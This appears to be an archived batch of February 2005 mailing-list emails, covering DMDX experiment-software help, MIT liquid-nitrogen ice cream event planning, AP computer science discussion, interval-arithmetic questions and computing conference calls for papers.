Waseda University 3-4-1 Okubo Shinjuku-ku Tokyo 169-8555 JAPAN",0,0 tanya dolis ,DMDX@psy1.psych.arizona.edu,"Thu, 24 Feb 2005 15:02:52 +0100",[DMDX] maze task-read error,"hallo, when running a syntax check dmdx isn't able to read the last line of the experiment. here it is: $ =57 * "" That""c; -57 * ""myth folks""c; -57 * "" still chains""c; +57 * "" air exists""c; -57 * "" in aunt""c; +57 * "" paper the""c; +57 * "" mother southern""c; +57 *"" watch. States.""c; 0 c; 0 c; 0 c; 0 c; $ 0! ""End.""; also i am not sure about how to abort an item after a wrong answer because from what i understood one should use the keyword and then tell the program with which item it shall continue but that would make a randomization hard, wouldn't it? or is that why in other maze task many sentences have the same item number? thank you very much for your help, tanya dolis ______________________________________________________________ Verschicken Sie romantische, coole und witzige Bilder per SMS! Jetzt bei WEB.DE FreeMail: http://f.web.de/?mc=021193",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 24 Feb 2005 08:21:47 -0700",[DMDX] Re: maze task-read error,"At 03:02 PM 2/24/2005 +0100, you wrote: >hallo, > >when running a syntax check dmdx isn't able to read the last line of the >experiment. here it is: >$ >=57 * "" That""c; >-57 * ""myth folks""c; >-57 * "" still chains""c; >+57 * "" air exists""c; >-57 * "" in aunt""c; >+57 * "" paper the""c; >+57 * "" mother southern""c; >+57 *"" watch. States.""c; >0 c; >0 c; >0 c; >0 c; >$ > >0! ""End.""; That's the item file before the scramble, it's not what DMDX is having trouble reading. Look at the file scrambled.itm (probably in c:\\program files\\dmdx), it contains the results of the scramble. Your problem probably stems from the fact that you've got the wrong things locked down between pairs of $ signs, usually one would be locking the end of the experiment, not the contents: =57 * "" That""c; -57 * ""myth folks""c; -57 * "" still chains""c; +57 * "" air exists""c; -57 * "" in aunt""c; +57 * "" paper the""c; +57 * "" mother southern""c; +57 *"" watch. States.""c; 0 c; 0 c; 0 c; 0 c; $ 0! ""End.""; $ >also i am not sure about how to abort an item after a wrong answer because >from what i understood one should use the keyword and then tell >the program with which item it shall continue but that would make a >randomization hard, wouldn't it? I include dummy items in those instances: =57 * "" That""c ; -57 * ""myth folks""c ; -57 * "" still chains""c ; +57 * "" air exists""c ; -57 * "" in aunt""c ; +57 * "" paper the""c ; +57 * "" mother southern""c ; +57 *"" watch. States.""c ; 0 c; 0 c; 0 c; ~999 c; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Comparing information and knowledge is like asking whether the fatness of a pig is more or less green than the designated hitter rule."" - David Guaspari",0,0 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Thu, 24 Feb 2005 08:51:11 -0700",[DMDX] RE: maze task-read error,"> > when running a syntax check dmdx isn't able to read the last line of the > experiment. here it is: > $ > =57 * "" That""c; > -57 * ""myth folks""c; > -57 * "" still chains""c; > +57 * "" air exists""c; > -57 * "" in aunt""c; > +57 * "" paper the""c; > +57 * "" mother southern""c; > +57 *"" watch. States.""c; > 0 c; > 0 c; > 0 c; > 0 c; > $ > > 0! ""End.""; The last item in a file should be an instruction enclosed in dollars, to make sure that the scrambling doesn't move it. Thus: $0 ""Thank you. That's the end."";$ Also, you shouldn't use the !. That is an instruction to DMDX to ignore what follows. > > also i am not sure about how to abort an item after a wrong answer because > from what i understood one should use the keyword and then tell > the program with which item it shall continue but that would make a > randomization hard, wouldn't it? or is that why in other maze task many > sentences have the same item number? A Maze task can have different item numbers for every item. If you use the Variable Grouping option , you can make sure that all items within a given sentence (including the ""continue"" item) are kept in position. Here's an example: The experiment consists of 20 sentences, which should be presented in a random order. The item file would look something like this: $ ! Example of a Maze .rtf file. Note the following important features: 1. The Variable Grouping parameter . This has the effect of converting the item number 1001 to 1 during the scrambling operation (i.e., the item number is divided by the Variable Grouping parameter). All items with the same number are then treated as a group as far as scrambling is concerned. 2. makes sure of a rapid response once a key is pressed. 3. you don't want feedback. 4. Continuous running is essential. ; 0 ""Press the space bar for the next screen.""; 0 ""Press the Right or Left key for whichever word"", ""you think would continue the sentence.""; 0 ""The following items are for practice."";$ ! Note that the sentence does not have $s around it.; =1001 %75""READY""/ *""The x-x-x"" c; +1002 *""isn't concert"" c; +1003 *""swim was"" c; +1004 *""but long"" c; -1005 *""and guess"" c; +1006 *""door we"" c; +1007 *""computer enjoyed"" c; -1008 *""every grind"" c; -1009 *""minute. this."" c; 1000 ""CORRECT""/ ; 1251 %40 ""< < error > >""/@2 ""Please proceed to the next item.""; 1250 c; The next sentence would then be listed. At the end, you would finish up with something like this: 20000 ""CORRECT""/ ; 20251 %40 ""< < error > >""/@2 ""Please proceed to the next item.""; 20250 c; $0 ""Thank you. That's the end."";$ --k.i.f.",0,0 Skidmore Spam Firewall ,irc-list-web@skidmore.edu,"Thu, 24 Feb 2005 15:40:04 -0500",Spam Quarantine Summary,"Dear irc-list-web@skidmore.edu, this is your quarantine summary from the Skidmore Spam Firewall. You have 3 messages in your spam quarantine inbox. To view the contents of your quarantine inbox or to manage your spam preferences, please open the following link in your browser: http://141.222.0.11:8000/cgi-bin/index.cgi?user=irc-list-web@skidmore.edu&password=b94f1c7a9149c2381b92fa932b5a7d96&et=1109709604 ",0,1 """MacKenzie, Trudi L"" ",DMDX@psy1.psych.arizona.edu,"Fri, 25 Feb 2005 10:53:20 +1100",[DMDX] DMDX Query...," Hello there - My name is Trudi Mackenzie - I work at a laboratory at the University of Melbourne and we are looking to use DMDX to present some video stimui (footage of heroin use) to our participants (long term heroin addicts). I am just wondering what video file types DMDX will recognise: avi, mpeg, mov files? I have scoured the website to try to find out but don't seem able to find the answer. I would be enormously appreciative if somebody could get back to me on this one! Many thanks, Trudi Trudi Mackenzie Research Assistant Substance Use Research & Recovery Focused Program (SURRF) ORYGEN Research Centre Department of Psychiatry, University of Melbourne 35 Poplar Road, Parkville, 3052. * (03) 9342 2887, 0401 805 662 * trudi.mackenzie@mh.or.au ",0,0 Michael Wenger ,DMDX@psy1.psych.arizona.edu,"Thu, 24 Feb 2005 19:05:55 -0500",[DMDX] DMDX and EGI,"All: Has anyone had any experience using DMDX with EGI's high-density EEG systems? It appears that triggering/toggling can be done with TTL or TCP/IP communications, so it seems as though it should be possible. Any and all comments and suggestions would be most helpful. -Michael -- _______________________________________________________________________ Michael J. Wenger Department of Psychology 620 Moore Building The Pennsylvania State University University Park PA 16802 voice: (814) 863-6023 e-mail: mjw19@psu.edu http://www.personal.psu.edu/mjw19 ",0,1 """Sergey P. Shary"" ","reliable_computing@interval.louisiana.edu, ""Siegfried M. Rump"" ","Thu, 24 Feb 2005 13:09:45 +0600",Re: INTLAB problems,"Many thanks to all those who responded to my question on INTLAB features: to Prof. Sigfried Rump, Mr. I.A. Ashokaraj and Dr. Takeshi Ogita. You really helped me with your advices. The only remaining question (maybe, suggestion) is: why isn't that thoroughly documented? Sergey P. Shary ----- Original Message ----- From: ""Siegfried M. Rump"" To: ""Sergey P. Shary"" ; Cc: ""Б.С. Джаныбеков"" Sent: Monday, February 21, 2005 11:21 PM Subject: Re: INTLAB problems > Sergey, > > you can change that: > > >> intvalinit('FastIVmult'), a=[infsup(0,1) infsup(2,3)]; > >> b=[infsup(-2,0.5) infsup(1,3)]; a*b' > ===> Fast interval matrix multiplication in use (maximum overestimation > factor 1.5 in radius) > intval ans = > [ -1.00000000000000, 10.25000000000001] > > >> intvalinit('SharpIVmult'), a=[infsup(0,1) infsup(2,3)]; > >> b=[infsup(-2,0.5) infsup(1,3)]; a*b' > ===> Slow but sharp interval matrix multiplication in use > intval ans = > [ 0.00000000000000, 9.50000000000000] > >> > > Best wishes > > Siegfried > > >",0,0 Rob Radez ,madmatt@mit.edu,"Thu, 24 Feb 2005 18:39:26 -0500",Preliminary CryoFac Budget,"Hey Matt, Here's the preliminary budget (I tweaked it down a small amount from last year's budget to make a couple costs more realistic). Last year, Weekends@MIT funded us with $1,000 and Admissions funded us with $1,100. -Rob Ice Carving: $240 6 blocks: $240 General Supplies: $516 4 Tarps: $120 9 pairs industrial rubber gloves: $90 9 pairs safety goggles (cheap): $45 4 rolls of duct tape: $10 12 large, strong wooden/pyrex spoons: $75 *spoons must be durable because they break in the super cold temperature 4 pots: $120 2 large bottles of dish soap: $10 10 sponges: $10 Gel: $36 Serving: $220 1500 styrofoam bowls: $60 1500 spoons: $40 40 aluminum baking trays: $40 12 serving spoons: $40 2000 napkins: $20 1000 paper towels: $20 Toppings: $140 15 cans whipped cream: $45 3 large jars of sprinkles: $20 15 various flavors of syrup: $75 Ingredients: $925 20 gallons heavy cream: $300 20 gallons whole milk: $60 6 cubes of eggs (~540): $55 100 lbs. of sugar: $50 6 giant bottles of vanilla extract: $60 24 C of cocoa: $50 Various flavorings (frozen strawberries, mangoes, pistachio, lemon, cookie dough): $250 LN2: $100 To Be Provided 7 large tables EC Light and Sound Equipment EC Jumpsuits, rainslickers EC 3 pots EC Refrigeration & kitchen storage space Dolly EC Mop, cleaning supplies Ice carving tools EC Many Trash cans Ice Cream for 1000 People = Total: $2041 -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 Tom Indelicato ,AP Computer Science ,"Mon, 21 Feb 2005 23:26:04 -0500",[ap-compsci] RE: Attracting women to computing,"Regarding the confidence level between genders ... I forget who said it, but a quote that always stuck in my mind is: ""I've never met a boy who was as good a programmer as he thought was, or a girl who thought she was as good a programmer as she really was."" ____________________________________ Tom Indelicato Computer Science Department Chair Bishop Guertin High School 149 Lund Road, Nashua NH 03060 603-889-4107 x321 indelicato@bghs.org ____________________________________ --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 Michael Trigoboff ,AP Computer Science ,"Tue, 22 Feb 2005 18:38:33 -0800",[ap-compsci] Re: Attracting women to CS," At 04:09 AM 2/21/2005, you wrote: >Most in computer science include more on the job training. But to >characterize them as mostly entyr level programers is simply not true. The >breadth of understanding that they get studying computer science as >opposed to computer programming is important. All I meant was that a bachelor's degree in Computer Science is now the minimum acceptable academic qualification for getting hired in a serious programming or software engineering job. So if you want that first programming job after graduating from college, you're going to need that Computer Science degree. I meant no insult by using the term ""entry-level"". Even a brilliant career has to start with that first (entry-level) job. -- Michael Trigoboff, Ph.D. Instructor, Computer Information Systems & Computer Science Portland Community College http://spot.pcc.edu/~mtrigobo http://www.pcc.edu Software Engineer MLT Software, Inc. http://mltsoftware.home.comcast.net --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 Rob Radez ,cryofac@mit.edu,"Thu, 24 Feb 2005 18:51:00 -0500",CryoFac 2005,"howdy folks, planning has started for cryofac 2005. if you're on the list and don't want to be anymore, let me know. if you'd like to help out and want to find out how, let me know. if you don't know what cryofac is, read on and find out. cryofac is a liquid-nitrogen ice cream making extravaganza that has happened twice now at the cpw welcome party. it's existed for years before as an ec fac but has become better, stronger, and faster. there's ice carving, ln2, and prefrosh, what more do you need? it's currently scheduled for thursday, april 7, the first day of cpw. feel free to pass this along to folks who you think might want to help out. rob -- Rob Radez MIT Class of 2006 rradez@mit.edu East Campus ",0,0 Gabriel Lopez-Betanzos ,Rob Radez ,"Thu, 24 Feb 2005 18:51:53 -0500",Re: CryoFac 2005,"please remove. thanks, Gabi On Thu, 24 Feb 2005, Rob Radez wrote: > howdy folks, > planning has started for cryofac 2005. if you're on the list and don't > want to be anymore, let me know. if you'd like to help out and want to > find out how, let me know. if you don't know what cryofac is, read on > and find out. > > cryofac is a liquid-nitrogen ice cream making extravaganza that has > happened twice now at the cpw welcome party. it's existed for years > before as an ec fac but has become better, stronger, and faster. > there's ice carving, ln2, and prefrosh, what more do you need? it's > currently scheduled for thursday, april 7, the first day of cpw. > feel free to pass this along to folks who you think might want to help > out. > > rob > > -- > Rob Radez MIT Class of 2006 > rradez@mit.edu East Campus > ",0,0 Schuyler Senft-Grupp ,Rob Radez ,"Thu, 24 Feb 2005 19:19:52 -0500",Re: CryoFac 2005,"At 06:51 PM 2/24/2005 -0500, you wrote: >there's ice carving, ln2, and prefrosh, what more do you need? a box of condoms? ",0,0 Marti F Bolivar ,Rob Radez ,"Thu, 24 Feb 2005 19:23:55 -0500",Re: CryoFac 2005,"Yo, I tried to blanche myself onto cryofac but it's private apparently. So pls put me on it and all that; I'll help out n shit. -Marti On Thu, 24 Feb 2005, Rob Radez wrote: > howdy folks, > planning has started for cryofac 2005. if you're on the list and don't > want to be anymore, let me know. if you'd like to help out and want to > find out how, let me know. if you don't know what cryofac is, read on > and find out. > > cryofac is a liquid-nitrogen ice cream making extravaganza that has > happened twice now at the cpw welcome party. it's existed for years > before as an ec fac but has become better, stronger, and faster. > there's ice carving, ln2, and prefrosh, what more do you need? it's > currently scheduled for thursday, april 7, the first day of cpw. > feel free to pass this along to folks who you think might want to help > out. > > rob > > -- > Rob Radez MIT Class of 2006 > rradez@mit.edu East Campus > ",0,0 Martine Lamy ,Rob Radez ,"Thu, 24 Feb 2005 19:32:50 -0500",Re: CryoFac 2005,"Hey-- I've got all the official files from last year (but not on this computer) Do you need them? Martine ---- Original message ---- >Date: Thu, 24 Feb 2005 18:51:00 -0500 >From: Rob Radez >Subject: CryoFac 2005 >To: cryofac@mit.edu >Cc: clandestinerock@mit.edu, putz@mit.edu > >howdy folks, >planning has started for cryofac 2005. if you're on the list and don't >want to be anymore, let me know. if you'd like to help out and want to >find out how, let me know. if you don't know what cryofac is, read on >and find out. > >cryofac is a liquid-nitrogen ice cream making extravaganza that has >happened twice now at the cpw welcome party. it's existed for years >before as an ec fac but has become better, stronger, and faster. >there's ice carving, ln2, and prefrosh, what more do you need? it's >currently scheduled for thursday, april 7, the first day of cpw. >feel free to pass this along to folks who you think might want to help >out. > >rob > >-- >Rob Radez MIT Class of 2006 >rradez@mit.edu East Campus",0,0 Martin Skelton ,Rob Radez ,"Thu, 24 Feb 2005 19:52:33 -0500",Re: CryoFac 2005,"Rob Radez wrote: >howdy folks, >planning has started for cryofac 2005. if you're on the list and don't >want to be anymore, let me know. if you'd like to help out and want to >find out how, let me know. if you don't know what cryofac is, read on >and find out. > >cryofac is a liquid-nitrogen ice cream making extravaganza that has >happened twice now at the cpw welcome party. it's existed for years >before as an ec fac but has become better, stronger, and faster. >there's ice carving, ln2, and prefrosh, what more do you need? it's >currently scheduled for thursday, april 7, the first day of cpw. >feel free to pass this along to folks who you think might want to help >out. > >rob > > > Hey rob, I'd like to be invovled...I don't know if being on putz makes this a default. Just so you know. -marty ",0,0 Jenn D'Ascoli ,Rob Radez ,"Thu, 24 Feb 2005 19:54:58 -0500",Re: CryoFac 2005,"i can help with cryofac. i've extensive experience with LN2. funfunfun jenn At 06:51 PM 2/24/2005 -0500, you wrote: >howdy folks, >planning has started for cryofac 2005. if you're on the list and don't >want to be anymore, let me know. if you'd like to help out and want to >find out how, let me know. if you don't know what cryofac is, read on >and find out. > >cryofac is a liquid-nitrogen ice cream making extravaganza that has >happened twice now at the cpw welcome party. it's existed for years >before as an ec fac but has become better, stronger, and faster. >there's ice carving, ln2, and prefrosh, what more do you need? it's >currently scheduled for thursday, april 7, the first day of cpw. >feel free to pass this along to folks who you think might want to help >out. > >rob > >-- >Rob Radez MIT Class of 2006 >rradez@mit.edu East Campus ",0,0 Joanna Tong ,Rob Radez ,"Thu, 24 Feb 2005 20:49:37 -0500",Re: CryoFac 2005,"Cryofac! I'd like to help, how can I? -Jo At 06:51 PM 2/24/2005 -0500, you wrote: >howdy folks, >planning has started for cryofac 2005. if you're on the list and don't >want to be anymore, let me know. if you'd like to help out and want to >find out how, let me know. if you don't know what cryofac is, read on >and find out. > >cryofac is a liquid-nitrogen ice cream making extravaganza that has >happened twice now at the cpw welcome party. it's existed for years >before as an ec fac but has become better, stronger, and faster. >there's ice carving, ln2, and prefrosh, what more do you need? it's >currently scheduled for thursday, april 7, the first day of cpw. >feel free to pass this along to folks who you think might want to help >out. > >rob > >-- >Rob Radez MIT Class of 2006 >rradez@mit.edu East Campus ",0,0 """Jennifer A. Clark"" ",irc-list-web@skidmore.edu,"Fri, 25 Feb 2005 01:36:35 +0000",Popular soft - bottom prices,"Access all the popular software possible for unbelievably low prices! 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",DMDX@psy1.psych.arizona.edu,"Thu, 24 Feb 2005 21:33:09 -0700",[DMDX] Re: DMDX Query...,"At 10:53 AM 2/25/2005 +1100, you wrote: >Hello there - > >My name is Trudi Mackenzie - I work at a laboratory at the University of >Melbourne and we are looking to use DMDX to present some video stimui >(footage of heroin use) to our participants (long term heroin addicts). I >am just wondering what video file types DMDX will recognise: avi, mpeg, >mov files? Anything your machine has codecs for. Which pretty much means anything the windows media player can play. DMDX use the standard windows functions for rendering files so the sky's the limit. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Comparing information and knowledge is like asking whether the fatness of a pig is more or less green than the designated hitter rule."" - David Guaspari ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 24 Feb 2005 21:36:52 -0700",[DMDX] Re: DMDX and EGI,"At 07:05 PM 2/24/2005 -0500, you wrote: >All: Has anyone had any experience using DMDX with EGI's high-density >EEG systems? It appears that triggering/toggling can be done with TTL or >TCP/IP communications, so it seems as though it should be possible. Any >and all comments and suggestions would be most helpful. You can certainly use a TTL signal to do it, tons of documentation in the TimeDX help file and in the archives here for it. TCP/IP communications would require you to sponsor modifications to DMDX. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Comparing information and knowledge is like asking whether the fatness of a pig is more or less green than the designated hitter rule."" - David Guaspari ",0,0 Benjamin W Charrow ,Rob Radez ,"Thu, 24 Feb 2005 22:01:11 -0500",Re: CryoFac 2005,"Although I think I told you, I'm definitely interested. Ben On Thu, 24 Feb 2005, Rob Radez wrote: > howdy folks, > planning has started for cryofac 2005. if you're on the list and don't > want to be anymore, let me know. if you'd like to help out and want to > find out how, let me know. if you don't know what cryofac is, read on > and find out. > > cryofac is a liquid-nitrogen ice cream making extravaganza that has > happened twice now at the cpw welcome party. it's existed for years > before as an ec fac but has become better, stronger, and faster. > there's ice carving, ln2, and prefrosh, what more do you need? it's > currently scheduled for thursday, april 7, the first day of cpw. > feel free to pass this along to folks who you think might want to help > out. > > rob > > -- > Rob Radez MIT Class of 2006 > rradez@mit.edu East Campus > ",0,0 Mimi Xue ,rradez@MIT.EDU,"Thu, 24 Feb 2005 23:33:22 -0500",Re: CryoFac 2005,"Same here. Mimi On Thu, 24 Feb 2005, Benjamin W Charrow wrote: > Although I think I told you, I'm definitely interested. > > Ben > > On Thu, 24 Feb 2005, Rob Radez wrote: > > > howdy folks, > > planning has started for cryofac 2005. if you're on the list and don't > > want to be anymore, let me know. if you'd like to help out and want to > > find out how, let me know. if you don't know what cryofac is, read on > > and find out. > > > > cryofac is a liquid-nitrogen ice cream making extravaganza that has > > happened twice now at the cpw welcome party. it's existed for years > > before as an ec fac but has become better, stronger, and faster. > > there's ice carving, ln2, and prefrosh, what more do you need? it's > > currently scheduled for thursday, april 7, the first day of cpw. > > feel free to pass this along to folks who you think might want to help > > out. > > > > rob > > > > -- > > Rob Radez MIT Class of 2006 > > rradez@mit.edu East Campus > > > ",0,0 David G Ely ,Rob Radez ,"Thu, 24 Feb 2005 23:51:05 -0500",Re: CryoFac 2005,"I'm interested in helping. dely Quoting Rob Radez : > howdy folks, > planning has started for cryofac 2005. if you're on the list and don't > want to be anymore, let me know. if you'd like to help out and want to > find out how, let me know. if you don't know what cryofac is, read on > and find out. > > cryofac is a liquid-nitrogen ice cream making extravaganza that has > happened twice now at the cpw welcome party. it's existed for years > before as an ec fac but has become better, stronger, and faster. > there's ice carving, ln2, and prefrosh, what more do you need? it's > currently scheduled for thursday, april 7, the first day of cpw. > feel free to pass this along to folks who you think might want to help > out. > > rob > > -- > Rob Radez MIT Class of 2006 > rradez@mit.edu East Campus >",0,0 Peter Hertling ,"cca-list@fernuni-hagen.de, COMP-THY@LISTSERV.ND.EDU, fom@cs.nyu.edu, comprox@doc.ic.ac.uk, na.digest@na-net.ornl.gov, reliable_computing@interval.louisiana.edu, THEORYNT@LISTSERV.NODAK.EDU","Fri, 25 Feb 2005 12:51:24 +0100",CCA 2005 - Second Call for Papers,"________________________________________________________________ Second Announcement and Call for Papers ________________________________________________________________ C C A 2 0 0 5 Second International Conference on Computability and Complexity in Analysis August 25-29, 2005, Kyoto, Japan 25-26: Satellite seminars 27-29: Main conference http://cca-net.de/cca2005 ________________________________________________________________ Submissions: Authors are invited to submit a PostScript or PDF version of a paper to the email address provided on the web site of the conference. Dates: Submission: May 1, 2005 Notification: June 5, 2005 Camera-ready version: July 3, 2005 Satellite seminars and reception: August 25-26, 2005 Main conference: August 27-29, 2005 Scope The conference is concerned with the theory of computability and complexity over real-valued data. Computability and complexity theory are two central areas of research in mathematical logic and theoretical computer science. Computability theory is the study of the limitations and abilities of computers in principle. Computational complexity theory provides a framework for understanding the cost of solving computational problems, as measured by the requirement for resources such as time and space. The classical approach in these areas is to consider algorithms as operating on finite strings of symbols from a finite alphabet. Such strings may represent various discrete objects such as integers or algebraic expressions, but cannot represent general real or complex numbers, unless they are rounded. Most mathematical models in physics and engineering, however, are based on the real number concept. Thus, a computability theory and a complexity theory over the real numbers and over more general continuous data structures is needed. Unlike the well established classical theory over discrete structures, the theory of computation over continuous data is still in its infancy, despite remarkable progress in recent years. Many important fundamental problems have not yet been studied, and presumably numerous unexpected and surprising results are waiting to be detected. Scientists working in the area of computation on real-valued data come from different fields, such as theoretical computer science, domain theory, logic, constructive mathematics, computer arithmetic, numerical mathematics and all branches of analysis. The conference provides a unique opportunity for people from such diverse areas to meet and exchange ideas and knowledge. The topics of interest include foundational work on various models and approaches for describing computability and complexity over the real numbers. They also include complexity-theoretic investigations, both foundational and with respect to concrete problems, and new implementations of exact real arithmetic, as well as further developments of already existing software packages. We hope to gain new insights into computability-theoretic aspects of various computational questions from physics and from other fields involving computations over the real numbers. Scientific Program Committee: Vasco Brattka (Cape Town, South Africa) Peter Hertling, chair (Munich, Germany) Hajime Ishihara (Ishikawa, Japan) Iraj Kalantari (Macomb, USA) Ker-I Ko (Stony Brook, USA) Vladik Kreinovich (El Paso, USA) Jack H. Lutz (Ames, USA) Joseph S. Miller (Bloomington, USA) Robert Rettinger (Hagen, Germany) Matthias Schröder (Edinburgh, Scotland) Alex Simpson (Edinburgh, Scotland) Klaus Weihrauch (Hagen, Germany) Atsushi Yoshikawa (Kyushu, Japan) Xizhong Zheng (Cottbus, Germany) Ning Zhong (Cincinnati, USA) Martin Ziegler (Odense, Denmark) Organizing Committee: Hiroyasu Kamo (Nara, Japan) Takakazu Mori (Kyoto, Japan) Izumi Takeuti (Toho, Japan) Hideki Tsuiki, chair (Kyoto, Japan) Yoshiki Tsujii (Kyoto, Japan) Mariko Yasugi (Kyoto, Japan) Invited Speakers Vasco Brattka (Cape Town, South Africa) Masami Hagiya (Tokyo, Japan) Daisuke Takahashi (Waseda, Japan) Proceedings A technical report including the accepted papers will be distributed at the conference. It is planned to publish a special issue of the Journal of Complexity dedicated to the conference. After the workshop, the participants will be invited to submit their papers for publication in this special issue. The papers will be subject to the usual refereeing process of the journal. Satellite Seminars On August 25 and 26, 2005, there will be satellite seminars that will consist of introductory lectures to CCA and related areas. The following speakers have agreed to give introductory lectures (topic in brackets): Andrej Bauer (Realizability for constructive and computable mathematics) Martin Escardo (Synthetic topology of computational spaces) Peter Hertling (Computable analysis via representations) Hideyuki Suzuki (Analog computation) Mariko Yasugi (Computable versions of basic theorems in functional analysis) Atsushi Yoshikawa (Computable versions of basic theorems in functional analysis) More detailed information will soon be available on the web site of the conference. Venue The conference will be held on the Yoshida Campus of Kyoto University. Kyoto was the imperial capital of Japan for over 1000 years until 1867. It has many famous temples, shrines, national treasures, and festivals, and it is still the cultural center of Japan. Kyoto is also known as an academic city with many universities and research institutes. Local Information Kyoto is about 100 km north-east of Kansai International Airport. Travel and on-site information will soon be available on the web site of the conference. Support: We expect that some financial support will be available to cover part of the travel and hotel expenses of some of the speakers. Details will be announced soon. The conference is supported by the Graduate School of Human and Environmental Studies, Kyoto University. ________________________________________________________________ ",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Fri, 25 Feb 2005 08:06:46 -0700",Deadline Extended,"forwarding P.S. I have a new computer with which I am still somewhat struggling, and our network is going to be repaired over the weekend. I apologize for possible further delays in answering emails. Vladik ------------- Begin Forwarded Message ------------- Date: Fri, 25 Feb 2005 09:08:34 -0500 From: ""Iyad Ajwa"" Subject: Deadline Extended Mime-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Dear Colleagues, Upon request from several colleagues, I am pleased to announce that the deadline to submit a poster has been extended to March 1, 2005. Please be reminded of the following: 1. The deadline to submit a poster abstract is now March 1, 2005. 2. The deadline to submit a request for travel support is March 1, 2005. 3. The deadline to register is March 1, 2005. 4. Register and/or submit the abstract of your poster online at http://www.ashland.edu/~eccad and click on Registration. 5. Travel infomration, maps, directions, travel by air, and other accommodations are posted on the conference Website at http://www.ashland.edu/~eccad and click on Accommodations or click on Travel to ECCAD. The two pages are linked to each other. For more information, please see the original CFP below. Thank you. ============================================ ECCAD 2005 The 12th Annual East Coast Computer Algebra Day CALL FOR PARTICIPATION ============================================ HOSTED BY: The Department of Mathematics and Computer Science Ashland University Ashland, Ohio, USA DATE: March 12, 2005 CONFERENCE WEBSITE: http://www.ashland.edu/~eccad CONFERNCE EMAIL: eccad@ashland.edu ========================================= ECCAD, East Coast Computer Algebra Day, is an annual conference that provides opportunities to learn and share new developments and to present research results in the areas of symbolic and mathematical computation. The 12th Annual East Coast Computer Algebra Day (ECCAD 2005) will be held on Saturday, March 12, 2005. It will be hosted by the Department of Mathematics and Computer Science at Ashland University in Ashland, Ohio, USA. ECCAD 2005 will be in honor of Professor Bob Caviness's 65th birthday. Bob Caviness is a Professor Emeritus (with a joint appointment in Mathematical Sciences) and former Chair of the Department of Computer & Information Sciences at the University of Delaware. His research interests include the design and analysis of algebraic algorithms, in particular, algorithmic decision procedures for integration in finite terms and for computing closed form solutions of differential equations.More recently he has turned to web-based technologies. He has five Ph.D. and two M.S students. Professor Caviness has served in various editorial capacities for the following jourmals: ACM Transactions on Mathematical Software, ACM Computing Reviews, CONSTRAINTS, the online e-commerce journal ACM SIGecom Exchanges, and the Journal of Symbolic Computation. He served as Editor-in-Chief of the latter journal for the period 1995-2000. He has also lectured widely and served the profession in many other capacities. Happy Birthday, Bob! THEMES: - Algebraic Algorithms - Symbolic-Numeric Computation - Computer Algebra Systems - Mathematical Communication - Complexity of Algebraic Problems - Symbolic and Numerical Linear Algebra - Applications of Symbolic Computation INVITED SPEAKERS: The following speakers have been confirmed. Titles and abstracts will be announced on the Conference Website at http://www.ashland.edu/~eccad once they become available. 1. Professor Bruno Buchberger - Johannes Kepler University, Linz, Austria. 2. Professor Erich Kaltofen - North Carolina State University, Raleigh, NC. 3. Professor David Saunders - University of Delaware, Newark, DE. 4. Professor Paul Wang - Kent State University, kent, OH. REGISTRATION: Online Registration is available on the Conference Website at http://www.ashland.edu/~eccad. POSTER SESSIONS: Two poster sessions will be held at the conference. Participants are invited to submit their posters by the submission deadline of February 25, 2005. Poster abstracts received before the submission deadline will be included in The ECCAD'2005 Book of Abstracts which will be available at the conference. POSTER SUBMISSION: Poster abstracts may be up to 2 pages long. The submission deadline is February 25, 2005. To submit a poster, either use the Online Registration Form (available on the Conference Website at http://www.ashland.edu/~eccad) to provide the title and abstract of your poster, or send the title and abstract of your poster by email to eccad@ashland.edu TRAVEL SUPPORT: Pending NSF support, the conference hopes to be able to provide limited travel support for some participants to attend ECCAD'2005. Graduate students and junior faculty are particularly encouraged to apply. Support may cover only partially travel expenses and lodging for up to two nights. There will be no stipends. Make sure the flight has a flight number of a US carrier. If you plan to attend and apply for support, please send your inquiry with an itemized estimate of your expenses to eccad@ashland.edu. Please note that if your application is approved and if funding is available, you will receive your reimbursement after the conference. All applications for support are due by March 1, 2005. Support is subject to successful funding. ACCOMMODATIONS: Blocks of rooms have been reserved at two local hotels for participants of ECCAD'2005. Deatiled Information are posted on the Conference Website at http://www.ashland.edu/~eccad. ADVISORY COUNCIL: - Bruce Char - Drexel University, USA - Erich Kaltofen - North Carolina State University, USA - Ilias Kotsireas - Wilfrid Laurier University, CANADA - David Saunders - University of Delaware, USA - William Sit - The City College of the City University of New York, USA - Paul S. Wang - Kent State University, USA - Stephen Watt - University of Western Ontario, CANADA ORGANIZER: Iyad A. Ajwa Department of Mathematics and Computer Science Ashland University Ashland, Ohio 44805, USA +1 419.289.5798 iajwa@ashland.edu SPONSORS: - Ashland University - College of Arts and Sciences - Department of Mathematics and Computer Science - National Science Foundation CONFERENCE CONTACT: Iyad A. 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ERHARD BUSEK - SEEMO AWARD 2005 Vienna, 23 February 2005 Application Details for the Dr. 